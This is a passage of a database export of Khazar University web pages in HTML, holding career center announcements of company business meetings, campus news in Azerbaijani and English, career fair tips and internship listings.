\"Kaspi Education\"</strong></p><p>&nbsp;11 March, Friday 2016</p><p>11:00-12:00</p><p>Room 206, Neftchilar Campus&nbsp;</p><p>For 4<sup>th</sup>&nbsp;course bachelor and 1<sup>st</sup>, 2<sup>nd</sup>&nbsp;course master students.</p><p>&nbsp;</p><br><hr><p>&nbsp;</p><p>We are pleased to inform you that the Career Center will conduct &nbsp;</p><p>BUSINESS MEETING</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WITH</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Socar</strong>&nbsp;</p><p>Job and Internship opportunities</p><p>Idea brainstorming</p><p>Hall N 206</p><p>April 8 , Wednesday</p><p>13:40 – 14:30</p><p>&nbsp;</p><hr><p><br></p><p>We are pleased to inform you that the Career Center will conduct &nbsp;</p><p>BUSINESS MEETING</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WITH</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CaspiNet</strong>&nbsp;</p><p>&nbsp;Content Management System&nbsp; &nbsp;</p><p>Job and Internship opportunities</p><p>Idea brainstorming</p><p>Hall N 206</p><p>February 18, Wednesday</p><p>10:00 – 11:00</p><p>&nbsp;</p><p>&nbsp;</p><hr><p><br></p><p>We are pleased to inform you that the Career Center will conduct &nbsp;</p><p>BUSINESS MEETING&nbsp;WITH</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Bakcell</strong></p><p>&nbsp;Bakcell internally and externally</p><p>Applab &nbsp;project</p><p>Job and Internship opportunities</p><p>Idea brainstorming</p><p>Hall N 206</p><p>December 17, Wednesday</p><p>10:30 – 12:30<br><br></p><p>&nbsp;</p><hr><p><br></p><p>We are pleased to inform you that the Career Center will conduct</p><p>BUSINESS MEETING&nbsp;WITH</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;BP</strong></p><p><em>\"What you will discover?\"&nbsp;</em></p><p>Hall N 206</p><p>October 24, Friday</p><p>12:00 – 13:00</p><p><br></p><hr><p><br>Dear 3rd and 4th year students!<br><br>You are kindly invited to participate in the&nbsp;<strong>Schlumberger Day</strong>, which will be held in Khazar University, on&nbsp;<strong>27th of May</strong>,Room willl be anounced<br><br>Special quests from Schlumberger will be talking about various activities that Schlumberger is involved in Azerbaijan, and will also be sharing some of the internship and career opportunities, so this is a unique chance to get the most up to date information about the internship and career opportunities with Schlumberger!!!<br><br><strong>NOTE:</strong>You will have a chance to take an ability exam at the end of Seminar</p><p>&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Dear All Students,</strong><br><br>If you are interested in&nbsp;Internship Abroad&nbsp;opportunities, you are welcome to participate in&nbsp;Global Group&nbsp;presentation from Turkey tomorrow at 12:00, Room No 206 (OLD)&nbsp;<br><br>16 May, Friday,12:00-13:00<br><br>Don\'t miss the chance!</p><p>&nbsp;</p><hr><p><br></p><p><strong>ATTENTION OIL AND GAS ENGINEERS!</strong></p><p>We are pleased to inform you that the Career Center will conduct a&nbsp;<em><strong>business meeting</strong></em>&nbsp;&nbsp;with</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SOCAR</strong></p><p>11April, Friday, 2013</p><p>14:00 – 15:00</p><p>Room 206 (II floor, OLD)</p><p>For any question please visit Room N 211 (OLD)</p><p>Career Development Center</p><p>Feel the difference!&nbsp;</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp;ATTENTION HR SPECIALISTS, CIVIL AND PETROLEUM ENGINEERS!</strong></p><p><strong>&nbsp;</strong>We are pleased to inform you that the Career Center will conduct a&nbsp;<strong><em>business meeting</em></strong>&nbsp;with</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;AZERSUN</strong></p><p>13 December, Friday, 2013</p><p>15:00 – 16:30</p><p>Room 206 (II floor, OLD)</p><p>For any question please visit Room N 211 (OLD)</p><p>Career Development Center</p><p>Feel the difference!</p><p>&nbsp;</p><hr><p><br></p><p><strong>&nbsp;ATTENTION ECONOMISTS!</strong></p><p>We are pleased to inform you that the Career Center will conduct a&nbsp;<strong><em>business meeting</em></strong>&nbsp;with</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AZERSUN</strong></p><p>7 November, Thursday, 2013</p><p>14:00 – 15:00&nbsp;</p><p>Room 13</p><p>For any question please e-mail: uhuseynova@khazar.org</p><p>Career Development Center</p><p>Feel the difference!</p><p>&nbsp;</p><hr><p>&nbsp;<strong></strong></p><p><strong>&nbsp;ATTENTION COMPUTER SCIENCE, COMPUTER ENGINEERS, TELECOMMUNICATIONS AND ECONOMISTS!</strong></p><p>We are pleased to inform you that the Career Center will conduct&nbsp;a&nbsp;<strong><em>business meeting</em></strong>&nbsp;with</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;AZERCELL</strong></p><p>30 minutes – AZERCELL Scholarship Programs and Career Opportunities for Graduates and Students</p><p>30 minutes – Discussions</p><p>18 October, Friday, 2013</p><p>13:30 - 14:30</p><p>203 N</p><p>For any question please visit Room N 211 (OLD)</p><p>Career Development Center</p><p>Feel the difference!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>ATTENTION OIL AND GAS ENGINEERS!</strong></p><p>We are pleased to inform you that the Career Center will conduct a&nbsp;<strong><em>business meeting</em></strong>&nbsp;&nbsp;with</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; BP</strong></p><p>30 minutes – Officials Meeting</p><p>1.5 hour presentation regarding: BP History</p><p>BP Projects</p><p>BP Career Opportunities for Graduates and Students</p><p>18 October, Friday, 2013</p><p>15:00 - 17:00</p><p>213 N</p><p>For any question please visit Room N 211</p><p>Career Development Center</p><p>Don’t miss the chance!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>We are pleased to inform you that the Career Center will conduct</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;BUSINESS MEETING&nbsp;WITH&nbsp;MICROSOFT</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; “MICROSOFT IN EDUCATION”</strong></p><p>Hall N 206</p><p>April 25, Thursday</p><p>12:00 – 13:30</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BUSINESS MEETING&nbsp;</strong><strong>WITH&nbsp;</strong><strong>EXPRESS BANK</strong></p><p><br>26 April 14:00 – 15:30<br><br>Room N 13, Downtown Campus</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dear Civil Engineers</strong><br><br>We are pleased to inform you that the Career Development Center will conduct a BUSINESS MEETING with<br><br><strong>AKKORD</strong><br><br>The discussions will be about future Internship and Employment Opportunities<br><br>17 April, Wednesday, 15:00-17:00<br><br>Don\'t miss the chance!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>We are pleased to inform you that the Career Center will conduct</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BUSINESS MEETING&nbsp;</strong><strong>WITH&nbsp;</strong><strong>ERNST &amp; YOUNG</strong></p><p>Downtown Campus</p><p>March 12, Tuesday</p><p>16:00 – 17:30</p><p>Please note that, this session deals with the Companies or Organizations Human Resources Departments on their required various vacancy introduction meetings for exact faculties or candidates. Business meeting panels depends on Employer interests and requirements.</p>  <img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\"><img src=\"http://www.khazar.org/tmp/mfe/assets/351bd86c/elrte/images/pixel.gif\">'),(2855,1697,'az','“Elektron resurslardan effektiv istifadə” adlı təlim proqramı keçiriləcək','2016-ci il dekabrın 12-si saat 12:30-da Xəzər Universiteti KİM-nin “Elektron informasiya xidmətləri” bölməsi İqtisadiyyat və menecment fakültəsinin bakalavr...','<p>2016-ci il dekabrın 12-si saat 12:30-da Xəzər Universiteti KİM-nin “Elektron informasiya xidmətləri”\r\nbölməsi İqtisadiyyat və menecment fakültəsinin bakalavr və MBA tələbəri üçün “Elektron resurslardan effektiv istifadə” adlı təlim\r\nproqramı keçirəcək (otaq\r\n402N).</p>\r\n<p>Təlimlər\r\nKİM-nin\r\n“Elektron informasiya xidmətləri” bölməsinin müdiri Səidə Orucova tərəfindən\r\nkeçiriləcək.</p>'),(2856,1627,'az','Qonaq kimya və neft mühəndisliyi tələbələrinə mühazirə oxudu','2016-cı il noyabrın 30-da Təbriz şəhəri Sahand Neft və Qaz Tədqiqat İnstitutunun direktoru Dr. Seyid Əlirza Tabatabaei Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">2016-cı il noyabrın 30-da Təbriz şəhəri\r\nSahand Neft və Qaz Tədqiqat İnstitutunun direktoru Dr. Seyid Əlirza Tabatabaei Xəzər\r\nUniversiteti Mühəndislik və tətbiqi elmlər fakültəsinin kimya və neft mühəndisliyi\r\nixtisası üzrə bakalavr, magistr və doktorant tələbələri üçün universitetin “Mərmər”\r\nzalında “Neftin bərpa edilməsi metodlarında inkişafa ümumi baxış” adlı mühazirə\r\noxudu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Xəzər Universitetinin rektoru Dr.Hassan\r\nNiknafs və Neft mühəndisliyi departamentinin müdiri dosent Qəşəm Zeynalov da\r\nmühazirədə iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:107%\"\"=\"\">Mühazirədən sonra Dr. Tabatabaei tələbələrin\r\nsuallarını cavablandırdı.</p>'),(2857,1697,'en','Effective Use of Electronic Resources Training','On December 12, 2016 at 12:30, the Khazar University Library Information Center Electronic Information Services Division will hold a training on “Effective...','<p>On December 12,\r\n2016 at 12:30, the Khazar University Library Information Center Electronic\r\nInformation Services Division will hold a training on “Effective Use of\r\nElectronic Resources” for bachelor’s and MBA students of the School of\r\nEconomics and Management in room 402N. </p>\r\n<p>The training\r\nwill be led by Saida Orujova, Head of the Electronic Information Services\r\nDivision.&nbsp;</p>'),(2858,1699,'az','“Xəzər” bəstəkar Sərdar Fərəcovun müəllif konsertində','Dekabrın 8-də Müslüm Maqomayev adına Azərbaycan Dövlət Filarmoniyasının Orqan və Kamera Musiqi Zalında görkəmli bəstəkar, Azərbaycan Bəstəkarlar İttifaqının katibi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Dekabrın 8-də Müslüm Maqomayev adına Azərbaycan\r\nDövlət Filarmoniyasının Orqan və Kamera Musiqi Zalında görkəmli bəstəkar, Azərbaycan\r\nBəstəkarlar İttifaqının katibi, Əməkdar incəsənət xadimi Sərdar Fərəcovun müəllif\r\nkonserti keçirildi. Tədbirdə Bəstəkarlar İttifaqının sədri, Xalq artisti Firəngiz\r\nƏlizadə, musiqi ictimaiyyətinin nümayəndələri, Xəzər Universitetinin &nbsp;təsisçisi, Direktorlar və Qəyyumlar Şurasının\r\nsədri professor Hamlet İsaxanlı, universitetin əməkdaşları və tələbələri, media\r\nmənsubları iştirak edirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Konsertin aparıcısı müsiqişünas Nərgiz Kərimova\r\nidi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Konsertin birinci hissəsində Xəzər Universitetinin\r\nKamera orkestrinin (bədii rəhbər Xəzər Universitetinin Musiqi və incəsənət\r\ndepartamentinin müdiri, dosent, pianoçu Zülfiyyə Sadıqova, konsertmeystr Nəsrin\r\nRzayeva ) ifasında bəstəkarın kamera əsərləri, həmçinin Hamlet İsaxanlının sözlərinə\r\nbəstələdiyi “İki lövhə” adlı əsəri Əməkdar &nbsp;&nbsp;Fəridə\r\nMəmmədovanın ifasında səsləndi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Konsertin ikinci hissəsində bəstəkarın əsərlərini\r\nDövlət Simli Kvarteti, Dövlət triosu və “Gənclik kvarteti ifa etdilər. Uşaq\r\nfilarmoniyasının balaca solistləri və “Şəms” xorunun ifasında bəstəkarın\r\nuşaqlar üçün yazdığı əsərlər səsləndi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sonda S. Fərəcov konsertin təşkilatçı və\r\niştirakçılarına, xüsusilə Xəzər Universitetinin rəhbərliyinə və musiqiçilərinə\r\ntəşəkkürünü bildirdi.</p>'),(2859,1699,'en','Khazar Composer Sardar Farajov’s Concert','On December 8, a concert featuring the works of well-known composer, Secretary of Azerbaijan Composers’ Union, Meritorious Servant of Arts Sardar Farajov...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">On\r\nDecember 8, a concert featuring the works of well-known composer, Secretary of\r\nAzerbaijan Composers’ Union, Meritorious Servant of Arts Sardar Farajov was\r\nheld at the Muslum Magomayev Azerbaijan State Philharmonic Organ and Chamber\r\nMusic Hall. Participants at the event included People’s Artist Firengiz\r\nAlizadeh, Chairman of the Composer’s Union; Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees; university staff members and students; and media representatives. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">During\r\nthe first half of the concert, the Khazar University Chamber Orchestra (Artistic\r\nDirector- Associate Professor Zulfiyya Sadigova, Head of the Department of\r\nMusic and Fine Arts; concertmaster Nasrin Rzayeva) performed chamber pieces by\r\nthe composer, and Meritorious Artist Farida Mammadova performed his “Two\r\nSketches” composed based on lyrics by Hamlet Isaxanli. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">In\r\nthe second half of the concert, the composer’s pieces were performed by the\r\nState String Quartet, the State Trio and the Youth Quartet. Young soloists of\r\nthe Children’s Philharmonic and the “Shams” Chior also performed pieces that\r\nFarajov wrote for children. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">At\r\nthe end of the event, Farajov thanked the concert participants and organizers,\r\nespecially the administration of Khazar University and its musicians.&nbsp;</p>'),(2860,1700,'en','International Eurasia Hub Training: Legal and Fiscal Frameworks of Extractive Industries','On December 5-7, Eurasia Extractive Industries Knowledge Hub, Khazar University and Natural Resource Governance Institute – NRGI) jointly held a training...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nDecember 5-7, Eurasia Extractive Industries Knowledge Hub, Khazar University\r\nand Natural Resource Governance Institute – NRGI) jointly held a training on\r\n“Legal and Fiscal Frameworks of Extractive Industries.” The objective of the\r\nevent was to discuss and offer training on the legal and fiscal models of\r\ncountries operating extractive industries in oil and gas in Eurasia. 27\r\nspecialists from Azerbaijan, Kazakhstan, Kyrgyzstan, Mongolia, Tajikistan and\r\nUkraine participated in the event. </p>\r\n<p>The\r\nfounder of Khazar University and Chairman of Board of Directors and Trustees,\r\nProf. Hamlet Isaxanli, welcomed the guests. The Regional Deputy Director of\r\nSwiss Cooperation Office, Ms Simone Haeberli, followed his speech, welcoming\r\nthe participants and wishing them fruitful learning processes at the training\r\nsessions. </p>\r\n<p>Galib\r\nAfandiyev, the NRGI regional director, noted that this was the first Eurasia\r\nKnowledge Hub training on legal issues and fiscal frameworks. The topic was\r\nselected because of a felt need in the countries of the region. </p>\r\n<p>Ingilab\r\nAhmadov, director of the Eurasia Knowledge Hub and Dean of the School of\r\nEconomics and Management at Khazar University, opened the first training\r\nsession. Afterwards, Amir Shafaei, Senior Legal Expert from NRGI, New York, led\r\nthe training course on “Legal Frameworks and License Allocation.” Other\r\ntrainings were also held. During the second session on License Allocation,\r\nparticipants completed practical tasks in groups based on legal concepts. </p>\r\n<p>The\r\nsecond day of the training was dedicated to the Fiscal Tools in Extractive\r\nIndustries. NRGI’s expert from Mongolia, Dorjdari\r\nNamkhaijantsan, started the day with a lecture on “From Resources to Revenues.”\r\nThe presentation provoked questions about the local content requirements and\r\ndistribution of revenues on natural resources between the company and state.</p>\r\n<p>Senior\r\nLegal Analyst from NRGI, Amir Shafaei, delivered a session on “Main Fiscal\r\nTools.” The presentations were followed by a question and answer session.\r\nThereafter, participants were divided into four groups for Practical Assignment\r\non Fiscal Tools.</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOn the third day of the training, topics included “Fiscal Modeling: Why is it\r\nnecessary?”, “How to Apply Practical Working Models,” and more. The trainers\r\nwere Amir Shafei and Dorjdari Namkhaijantsan. </p>\r\n<p>The\r\ntraining was wrapped up on the third afternoon and participants were given\r\ncertificates.&nbsp;</p>'),(707,501,'en','Attend the Annual Career Fair','Attend the Annual Career Fair','<p>Career Fairs are a wonderful way for organizations to connect with Khazar students and build brand on our campus. The University Career Center hosts annual career fairs during each academic year to meet your recruiting needs.</p><h3><strong>Useful Tips</strong></h3>\r\n<p><strong>Dress Professionally. </strong>Career fairs are like interviews, so make sure your attire is <a href=\"https://www.thebalance.com/interview-attire-4073120\">interview appropriate</a>. Wear professional clothes, style your hair conservatively, and ladies should wear minimal makeup.</p><p><strong>Wear comfortable shoes. </strong>Because lines are frequently long and you should expect to wait, don’t wear uncomfortable high heels or brand new shoes that haven’t been broken in. Consider pair of conservative, interview appropriate shoes that you know are comfortable.</p><p><strong>Bring Resumes. </strong>Bring a supply of resumes to hand out to the companies. Take a portfolio or a briefcase to hold resumes and corporate literature.</p><p><strong>Be prepared to discuss your career goals. </strong>Be ready to talk about where you want to work, what you would like to do, and your relevant skills.</p><p><strong>Be enthusiastic. </strong>Employer surveys identify one of the most important personal attributes candidates can bring to a new position as enthusiasm. This means that employers want to see you smile! So, do smile and project interest in the company.</p>\r\n<p><strong><br></strong></p><p><strong>D</strong><strong>ATE: </strong>29 May,&nbsp;2018&nbsp;</p><p><strong>Time:</strong> 11:00 A.M. - 16 P.M.</p><p><strong>Deadline for registration:</strong> Tuesday, May 22, 2018&nbsp;</p><p><strong>Address:&nbsp;</strong>Khazar University (Neftchilar Campus) 41 Mehseti Str., AZ1096, Baku, Azerbaijan  <br></p><p>Companies or organizations can confirm their participation and ask for booking forms via email: <a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>   by <strong><em>22 May 2018</em></strong>.&nbsp;</p><p><strong><em><br></em></strong></p><p><strong><em>There is no charge to participate!&nbsp;</em></strong></p><p><br></p><p><strong style=\"font-size:x-large\">For more information:&nbsp;</strong></p><p><strong>Phone:</strong>&nbsp;(+99412) 421 79 16 (212)</p><p><strong>Fax:</strong>&nbsp;(+99412) 498 93 79</p><p><strong>Email:</strong> <a href=\"mailto:careercenter@khazar.org\">careercenter@khazar.org</a>  </p><p><br></p><p><br></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p>DATE: 25&nbsp;May 2017</p><p>Time: begins at 11:00</p><p>Deadline for registration: Saturday, April 30 2017</p><p>Companies or organizations can confirm their participation and&nbsp;ask for booking forms via email:&nbsp;<a href=\"mailto:leliyeva@khazar.org\">careercenter@khazar.org</a>&nbsp;by 30<br>April 2017.</p><p>There is no charge for participating in the Career Fair!</p><p>Address: 41 Mehseti St., near Neftchiler Metro Station</p><p>For more information:</p><p>Phone: 12 421 7916 (212)</p><p>Email: <a href=\"mailto:leliyeva@khazar.org\">careercenter@khazar.org</a>  </p>  <p><strong><br></strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>KHAZAR UNIVERSITY CAREER&nbsp;</strong><strong>CENTER</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">DATE: 6 May 2016</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Time: begins at 11:00</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Deadline for registration: Saturday, April 30 2016</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Companies or organizations can confirm their participation and&nbsp;ask for booking forms via email:&nbsp;<a href=\"mailto:leliyeva@khazar.org\"><strong>uhuseynova@khazar.org</strong></a>&nbsp;by 30&nbsp;April 2016.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">There is no charge for participating in the Career Fair!</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Address: 11 Mehseti St., near Neftchiler Metro Station</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">For more information:</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Phone: 12 421 7916 (212)</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Fax: 12 498 93 79</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></p><hr><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>KHAZAR UNIVERSITY CAREER C</strong><strong>ENTER</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">DATE: 1 May 2015</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Time: begins at 11:00</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Deadline for registration: 15 April 2014</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Companies or organizations can confirm their participation and&nbsp;ask for booking forms via email:&nbsp;<a href=\"mailto:leliyeva@khazar.org\">leliyeva@khazar.org</a>&nbsp;by 15<br>April 2014.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">There is no charge for participating in the Career Fair!</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Address: 11 Mehseti St., near Neftchiler Metro Station</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">For more information:</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Phone: 12 421 7916 (212)</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">Fax: 12 498 93 79&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></p><hr><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>KHAZAR UNIVERSITY CAREER CENTER</strong></p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br>DATE: 2 May 2014<br><br>Time: begins at 11:00<br><br>Deadline for registration: 15 April 2014<br><br>Companies or organizations can confirm their participation and<br>ask for booking forms via email: uhuseynova@khazar.org by 15<br>April 2014.<br><br>There is no charge for participating in the Career Fair!<br><br>Address: 11 Mehseti St., near Neftchiler Metro Station<br><br>For more information:<br><br>Phone: 12 421 7916 (212)<br><br>Fax: 12 498 93 79</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><hr><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>KHAZAR UNIVERSITY CAREER&nbsp;</strong><strong>CENTER</strong><br><br>DATE: 15 May 2013<br><br>Time: begins at 11:00<br><br>Deadline for registration: 5 May 2013<br><br>Companies or organizations can confirm their participation and<br>ask for booking forms via email: uhuseynova@khazar.org by 5<br>May 2013.<br><br>There is no charge for participating in the Career Fair!<br><br>Address: 11 Mehseti St., near Neftchiler Metro Station<br><br>For more information:<br><br>Phone: 12 421 7916 (212)<br><br>Fax: 12 498 93 79</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><hr><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Dress Professionally.</strong>&nbsp;Career fairs are like interviews, so make sure your attire is&nbsp;<a href=\"http://jobsearch.about.com/od/interviewattire/index.htm\" target=\"_blank\">interview appropriate</a>. Wear professional clothes, style your hair conservatively, and ladies should wear minimal makeup.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Wear comfortable shoes.</strong>&nbsp;Because lines are frequently long and you should expect to wait, don’t wear uncomfortable high heels or brand new shoes that haven’t been broken in. Consider pair of conservative, interview appropriate shoes that you know are comfortable.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Bring Resumes.</strong>&nbsp;Bring a supply of resumes to hand out to the companies. Take a portfolio or a briefcase to hold resumes and corporate literature.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Be prepared to discuss your career goals.&nbsp;</strong>Be ready to talk about where you want to work, what you would like to do, and your relevant skills.</p><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Be enthusiastic.</strong>&nbsp;Employer surveys identify one of the most important personal attributes candidates can bring to a new position as enthusiasm. This means that employers want to see you smile! So, do smile and project interest in the company.</p>'),(708,502,'en','Internships','Internships','<p style=\"margin:0cm 0cm 7.5pt;background-position:initial;background-size:initial;background-repeat:initial;background-attachment:initial;background-origin:initial;background-clip:initial;text-align:center;background:undefined \"><strong>ALMA Consulting and Investment LLC is pleased to announce a\r\n3-month internship program <o:p></o:p></strong></p><p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;background:white\"\"=\"\"><strong>&nbsp;</strong><strong>Supporting sustainable development, having the concept of entrepreneurship and innovation \'ALMA Consulting and Investment Company \' was founded in 2015.\'&nbsp;ALMA Consulting and Investment Company\' is a company operating in the field consulting and investment.</strong></p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:7.5pt;margin-left:0cm;background:white\"\"=\"\"><strong>ALMA announces internship programs for students in following\r\nareas:</strong></p>\r\n<p>1. Business Development area</p>\r\n<p>- 3rd and 4th year students with Management or Marketing majors</p>\r\n<p>- Those who are knowledgeable about digital marketing</p>\r\n<p>- Creative and responsible</p>\r\n<p>2. Marketing and Sales area</p>\r\n<p>3rd and 4th year students with Management or Marketing majors\r\n</p>\r\n<p>- Those who are knowledgeable about digital marketing</p>\r\n<p>- Smooth talk and rhetoric</p>\r\n<p>- Creative and responsible</p>\r\n<p>3. Project Management area</p>\r\n<p>- 3rd and 4th year students with Management or Marketing majors\r\n</p>\r\n<p>- Creatively and responsibly</p>  <p style=\"text-align:center\"><br></p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <strong><em>&nbsp; &nbsp; &nbsp; &nbsp;Zuleykha Journal</em></strong></p>\r\n<p>\"Zuleykha\"\r\nJournal Content Manager and intern positions are vacant.</p>\r\n<p>Our\r\nteam is searching for creative young people with active lives. Top candidates will\r\nbe trained before starting work. Write to us:</p>\r\n<p><a href=\"mailto:hello@zuleykha.az\">hello@zuleykha.az</a></p>\r\n<p>NOTE\r\n: Note\r\nthe name of the vacancy in the subject line.</p>  <p>Intern : <br>\r\n<!--[endif]--></p><br><ul><li>Must\r\nbe informed on the latest trends of modern women</li><li>Social\r\nmedia skills</li><li>Organizational\r\nskills</li><li>Research\r\nskills</li></ul><br>\r\n<p>Comminication\r\nskills</p>\r\n<p>Achieving\r\nobjectives on time and in the manner required</p><p> Initiative\r\nand extensive thinking skills</p>\r\n<p>Self-development based on\r\nmistakes</p>\r\n<p>Azerbaijani language.\r\nRussian and English language are assets</p>\r\n<p>*First\r\nto third year students preferred&nbsp;</p>  <p><br></p><p><br></p><p>International Eurasia Press Fund (IEPF) is\r\npleased to announce an opportunity for interns. </p><p>The purpose of the internship is to\r\nprovide personal and professional development opportunities for students and\r\nyoung professionals. This is an unpaid internship. Upon completion, the intern\r\nwill be given a final written evaluation and a certificate of achievement,\r\nbased on performance.</p>\r\n<p style=\"\" 